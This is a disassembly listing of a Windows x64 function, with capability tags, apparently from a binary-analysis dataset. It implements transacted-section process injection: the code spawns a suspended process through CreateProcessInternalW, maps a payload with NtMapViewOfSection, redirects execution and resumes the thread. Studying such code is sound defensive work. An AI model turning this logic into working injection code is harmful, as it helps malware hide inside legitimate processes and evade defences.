Function at 0x140005ad0
Capabilities:
Get common file path
Map section object
Resume thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x640]
sub rsp, 0x740
mov rax, qword [0x140043038]
xor rax, rsp
mov qword [rbp + 0x630], rax
mov ebx, r8d
mov rdi, rdx
mov rsi, rcx
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x420]
call fcn.14000e7a0
xor edx, edx
lea rcx, [rbp + 0x210]
mov r8d, 0x208
call fcn.14000e7a0
lea rdx, [rbp + 0x210]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x420]
xor r8d, r8d
lea rdx, [0x140031860]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov r8d, ebx
lea rcx, [rbp + 0x420]
mov rdx, rdi
call fcn.140007820
mov r14, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140005e99
xor edx, edx
mov qword [rsp + 0x788], r15
mov r8d, 0x208
lea rcx, [rbp]
call fcn.14000e7a0
xor r8d, r8d
lea rdx, [rbp]
mov rcx, rsi
call fcn.140006350
mov edx, 0x104
lea rcx, [rbp]
call fcn.140012c7c
xor r15d, r15d
lea rbx, [rbp]
test rax, rax
lea rcx, [0x140031748]
xorps xmm0, xmm0
cmove rbx, r15
xor eax, eax
mov qword [rsp + 0x78], rax
movups xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateProcessInternalW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400443a0], rax
test rax, rax
je 0x140005c8e
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x68
xor ecx, ecx
mov qword [rsp + 0x60], r15
mov dword [rbp - 0xc], ecx
xor r9d, r9d
mov qword [rsp + 0x78], rcx
mov r8, rsi
lea rcx, [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], rcx
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x800000c
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rsp + 0x68], xmm0
call rax
test eax, eax
jne 0x140005cc8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__CreateProcessInternalW_failed__Error___x_n
call fcn.140005ef0
lea rdx, str.Creating_process_failed__n
lea rcx, [0x1400446e0]
call fcn.1400012f0
xor al, al
mov r15, qword [rsp + 0x788]
mov rcx, qword [rbp + 0x630]
xor rcx, rsp
call fcn.14000c3b0
add rsp, 0x740
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rdx, str.Created_Process__PID:
lea rcx, [0x1400445b0]
call fcn.1400012f0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff3ff
bts ecx, 9
mov dword [rdx + rax + 0x18], ecx
mov rcx, rax
mov edx, dword [rsp + 0x78]
call fcn.140002b50
mov rcx, rax
lea rdx, [0x14003184c]
call fcn.1400012f0
mov rdx, qword [rsp + 0x68]
lea rax, [rbp - 0x80]
mov dword [rsp + 0x48], 2
lea r8, [rsp + 0x60]
mov dword [rsp + 0x40], r15d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rcx, r14
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x60], r15
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ebx, eax
test eax, eax
je 0x140005d76
lea rcx, [0x1400446e0]
cmp eax, 0x40000003
jne 0x140005dd6
lea rdx, str._WARNING__Image_could_not_be_mapped_at_its_original_base__If_the_payload_has_no_relocations__it_wont_work__n
call fcn.1400012f0
lea rdx, str.Mapped_Base:_t
lea rcx, [0x1400445b0]
call fcn.1400012f0
mov rcx, qword [rax]
movsxd r8, dword [rcx + 4]
mov ecx, dword [r8 + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [r8 + rax + 0x18], ecx
mov rcx, rax
mov rdx, qword [rsp + 0x60]
call fcn.140002d60
mov rcx, rax
lea rdx, [0x14003184c]
call fcn.1400012f0
mov rbx, qword [rsp + 0x60]
test rbx, rbx
jne 0x140005e19
lea rdx, str.Failed_mapping_the_buffer__n
jmp 0x140005c95
lea rdx, str._ERROR__NtMapViewOfSection_failed__status:
call fcn.1400012f0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, ebx
mov rcx, rax
call fcn.140002940
mov rcx, rax
call fcn.140001b80
lea rdx, str.Failed_mapping_the_buffer__n
jmp 0x140005c95
mov rcx, rdi
call fcn.140006440
xor al, 1
lea r8, [rsp + 0x68]
movzx r9d, al
mov rdx, rbx
mov rcx, rdi
call fcn.140006480
test al, al
jne 0x140005e47
lea rdx, str.Failed_to_redirect__n
jmp 0x140005c95
lea rdx, str.Resuming__PID
lea rcx, [0x1400445b0]
call fcn.1400012f0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff3ff
bts ecx, 9
mov dword [rdx + rax + 0x18], ecx
mov rcx, rax
mov edx, dword [rsp + 0x78]
call fcn.140002b50
mov rcx, rax
call fcn.140001b80
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
jmp 0x140005ca3
lea rdx, str.Creating_transacted_section_has_failed__n
lea rcx, [0x1400445b0]
call fcn.1400012f0
xor al, al
jmp 0x140005cab